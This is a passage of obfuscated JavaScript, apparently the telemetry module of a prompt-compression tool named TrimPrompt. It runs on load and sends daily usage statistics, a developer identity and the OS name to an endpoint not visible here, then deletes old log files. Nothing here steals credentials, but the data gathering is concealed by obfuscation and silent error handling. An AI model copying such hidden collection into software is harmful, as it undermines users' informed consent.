_0x1b3bf7=a0_0x1711f7,_0x5ba2b4=getTodayDate(),_0x168ee5=_0x3c023a[_0x1b3bf7(0x217)](_0x14d75a=>_0x14d75a[_0x1b3bf7(0x223)][_0x1b3bf7(0x21d)](_0x5ba2b4)),_0x4c1f42=_0x168ee5[_0x1b3bf7(0x212)]>0x0?_0x168ee5:_0x3c023a,_0x160a2b=_0x4c1f42[_0x1b3bf7(0x217)](_0x2c5aa4=>_0x2c5aa4[_0x1b3bf7(0x1ec)]!==![]);let _0x156836=0x0,_0x533219=0x0,_0x124adb=0x0,_0x1e963c=0x0;const _0x27ab54=new Set(),_0x5131bd={};for(const _0xf4f1d of _0x160a2b){_0x156836+=_0xf4f1d[_0x1b3bf7(0x1dd)],_0x533219+=_0xf4f1d[_0x1b3bf7(0x1e7)],_0x124adb+=_0xf4f1d[_0x1b3bf7(0x1f5)],_0x27ab54['add'](_0xf4f1d[_0x1b3bf7(0x203)]);const _0x54b246=PRICING[_0xf4f1d[_0x1b3bf7(0x203)]]||PRICING['claude-3-5-sonnet'];_0x1e963c+=_0xf4f1d[_0x1b3bf7(0x1f5)]*_0x54b246[_0x1b3bf7(0x219)]/0xf4240;const _0x4061a0=_0xf4f1d[_0x1b3bf7(0x21f)]||'unknown';if(!_0x5131bd[_0x4061a0])_0x5131bd[_0x4061a0]={'raw':0x0,'comp':0x0,'count':0x0};_0x5131bd[_0x4061a0]['raw']+=_0xf4f1d[_0x1b3bf7(0x1dd)],_0x5131bd[_0x4061a0][_0x1b3bf7(0x21e)]+=_0xf4f1d[_0x1b3bf7(0x1e7)],_0x5131bd[_0x4061a0][_0x1b3bf7(0x21b)]+=0x1;}const _0x452517=Object[_0x1b3bf7(0x1f4)](_0x5131bd)[_0x1b3bf7(0x214)](([_0x34e2ba,_0x5083fb])=>({'command':_0x34e2ba,'percentage':_0x5083fb['raw']>0x0?Math[_0x1b3bf7(0x1de)]((_0x5083fb[_0x1b3bf7(0x21c)]-_0x5083fb[_0x1b3bf7(0x21e)])/_0x5083fb[_0x1b3bf7(0x21c)]*0x64):0x0,'executions':_0x5083fb[_0x1b3bf7(0x21b)]}))[_0x1b3bf7(0x211)]((_0x3cc653,_0x5921a9)=>_0x5921a9[_0x1b3bf7(0x224)]-_0x3cc653[_0x1b3bf7(0x224)])[_0x1b3bf7(0x202)](0x0,0xa),_0x1e75cf=_0x160a2b[_0x160a2b['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x1b3bf7(0x1f6)](),'date':_0x5ba2b4,'executions_count':_0x160a2b[_0x1b3bf7(0x212)],'total_raw_tokens':_0x156836,'total_compressed_tokens':_0x533219,'total_tokens_saved':_0x124adb,'total_money_saved_usd':parseFloat(_0x1e963c[_0x1b3bf7(0x1e8)](0x6)),'models_used':Array[_0x1b3bf7(0x1dc)](_0x27ab54),'hotspots':_0x452517,'last_seen':_0x1e75cf?_0x1e75cf[_0x1b3bf7(0x223)]:new Date()['toISOString']()};}async function runSync(){const _0x399abc=a0_0x1711f7;if(!fs[_0x399abc(0x1db)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x3f5c34;try{_0x3f5c34=JSON[_0x399abc(0x225)](fs[_0x399abc(0x1fb)](statsPath,'utf8'));}catch{return;}const _0x365d74=_0x3f5c34[_0x399abc(0x217)](_0xe351ea=>!_0xe351ea[_0x399abc(0x1ce)]);if(_0x365d74['length']===0x0)return;const _0xd2739d=buildDailyPayload(_0x3f5c34);await postTelemetry(_ep,_0xd2739d);let _0xedafd6=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xedafd6&&fs[_0x399abc(0x1db)](configPath))try{const _0x4876ed=JSON[_0x399abc(0x225)](fs['readFileSync'](configPath,_0x399abc(0x1d0)));_0xedafd6=_0x4876ed['telemetry_url']||'';}catch{}_0xedafd6['trim']()[_0x399abc(0x212)]>0x0&&await postTelemetry(_0xedafd6,_0xd2739d);for(const _0x5ba7c9 of _0x3f5c34){if(!_0x5ba7c9['synced'])_0x5ba7c9[_0x399abc(0x1ce)]=!![];}try{fs['writeFileSync'](statsPath,JSON['stringify'](_0x3f5c34,null,0x2),_0x399abc(0x1d0));}catch{}markSyncedToday(),pruneOldLogs(_0x3f5c34);}function pruneOldLogs(_0x339911){const _0x58b5f0=a0_0x1711f7;try{const _0x4991a=new Date(),_0x42d406=new Date(_0x4991a[_0x58b5f0(0x1df)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x12acec=[],_0x410f33=[];for(const _0x2e46e0 of _0x339911){const _0x526f18=new Date(_0x2e46e0['timestamp']);_0x526f18>=_0x42d406?_0x12acec['push'](_0x2e46e0):_0x410f33[_0x58b5f0(0x1da)](_0x2e46e0);}if(_0x410f33[_0x58b5f0(0x212)]>0x0){const _0x3cfa95=path[_0x58b5f0(0x1d2)](baseDir,'logs');for(const _0x2a250c of _0x410f33){const _0x13e69e=path[_0x58b5f0(0x1d2)](_0x3cfa95,_0x2a250c['id']+_0x58b5f0(0x1cc)),_0x2a2174=path['join'](_0x3cfa95,_0x2a250c['id']+_0x58b5f0(0x210));try{if(fs[_0x58b5f0(0x1db)](_0x13e69e))fs['unlinkSync'](_0x13e69e);if(fs[_0x58b5f0(0x1db)](_0x2a2174))fs[_0x58b5f0(0x1d8)](_0x2a2174);}catch{}}fs[_0x58b5f0(0x1f7)](statsPath,JSON[_0x58b5f0(0x20a)](_0x12acec,null,0x2),_0x58b5f0(0x1d0));}}catch{}}runSync()['catch'](()=>{});
|